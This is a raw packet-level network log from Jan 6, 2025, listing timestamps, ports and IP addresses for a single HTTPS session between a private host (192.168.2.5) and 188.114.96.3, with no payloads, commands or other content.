Jan 6, 2025 13:56:34.544651985 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.544663906 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.544675112 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.544717073 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.544809103 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.544825077 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.544923067 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.544930935 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.545012951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.546040058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.556097984 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.556123018 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.556185961 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.556204081 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.556222916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.556263924 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.556719065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.556741953 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.556816101 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.556823969 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.556869984 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.557106972 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.557126045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.557173014 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.557179928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.557213068 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.557213068 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.557672977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.633953094 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634033918 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634058952 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634088993 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634104967 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634155989 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634282112 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634304047 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634345055 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634351969 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634376049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634394884 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634635925 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634654999 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634721041 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634727955 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634773970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634784937 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634803057 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634855032 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634860992 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634871006 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634893894 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634893894 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634913921 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634921074 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.634937048 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634975910 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.634975910 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.646677971 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.646703005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.646790028 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.646799088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.646894932 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.647069931 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.647089005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.647130966 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.647136927 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.647164106 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.647181988 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.647438049 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.647464037 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.647525072 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.647525072 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.647531986 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.647578955 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.725444078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.725466013 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.725537062 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.725548983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.725569010 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.725591898 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.725716114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.725732088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.725788116 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.725795984 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.725852013 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726041079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726058960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726116896 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726123095 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726161957 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726322889 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726341963 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726413965 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726413965 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726421118 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726465940 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726475954 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726496935 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726536036 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726543903 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.726583004 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.726583004 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.738466024 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.738482952 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.738558054 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.738567114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.738612890 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.738790989 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.738811016 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.738871098 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.738877058 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.738899946 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.738929987 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.739078045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.739098072 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.739140987 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.739149094 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.739190102 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.739190102 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817310095 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817331076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817390919 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817393064 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817405939 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817425966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817431927 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817476034 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817476034 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817488909 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817560911 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817625046 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817641973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817723036 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817730904 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817796946 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.817954063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.817971945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.818003893 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.818011045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.818043947 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.818043947 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.818236113 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.818252087 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.818289042 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.818295956 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.818325043 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.818351030 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.820390940 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830068111 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830092907 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830130100 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830137968 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830168009 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830205917 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830390930 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830406904 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830454111 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830465078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830476046 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830517054 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830760956 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830780983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830831051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830837965 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.830862999 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.830883026 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.833390951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.911716938 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.911745071 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.911793947 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.911802053 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.911824942 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.911848068 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.911900997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.911921978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.911955118 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.911962986 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.911988974 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912007093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912070990 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912086964 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912126064 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912132025 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912159920 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912183046 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912282944 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912302971 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912360907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912360907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912367105 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912414074 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912434101 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912452936 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912517071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912517071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.912524939 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.912590027 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.921647072 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.921679020 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.921756029 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.921762943 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.921812057 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.921812057 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.922009945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.922036886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.922101021 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.922106981 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.922168970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.922454119 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.922477961 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.922533035 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.922538996 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:34.922583103 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:34.922583103 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.003736973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.003757000 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.003833055 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.003843069 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.003871918 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.003897905 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.003897905 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.003911018 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.003931999 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.003951073 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.003957033 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.003985882 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.003995895 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004038095 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004059076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004116058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004122972 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004173040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004225969 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004241943 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004307985 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004307985 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004316092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004386902 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004520893 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004539013 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004585028 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004591942 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.004618883 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.004635096 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.013237000 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.013257027 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.013343096 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.013354063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.013416052 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.013616085 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.013633966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.013714075 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.013720036 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.013727903 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.013768911 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.014062881 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.014086008 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.014132977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.014138937 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.014187098 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.014187098 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.095166922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095185995 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095253944 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.095263004 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095324039 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.095377922 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095396996 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095465899 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.095473051 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095520973 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.095745087 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095762014 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095871925 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.095877886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.095932007 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.096064091 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.096082926 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.096158981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.096158981 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.096165895 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.096215010 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.096308947 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.096328020 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.096400023 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.096400023 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.096409082 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.096496105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105043888 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105065107 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105178118 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105185032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105232000 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105278015 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105298996 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105331898 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105341911 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105381012 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105381012 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105658054 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105683088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105739117 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105745077 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.105777025 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.105798006 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.187508106 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187526941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187607050 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187622070 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.187633038 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187691927 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187705994 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187747955 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.187757015 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187808990 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187809944 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.187834978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.187890053 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.187897921 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.188064098 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.188081026 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.188209057 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.188216925 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197058916 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197086096 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197140932 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197155952 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197165012 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.197170973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197191954 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.197223902 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.197247028 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197256088 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197326899 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.197333097 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.197398901 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.278656960 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.278673887 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.278769970 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.278769970 CET	49986	443	192.168.2.5	188.114.96.3
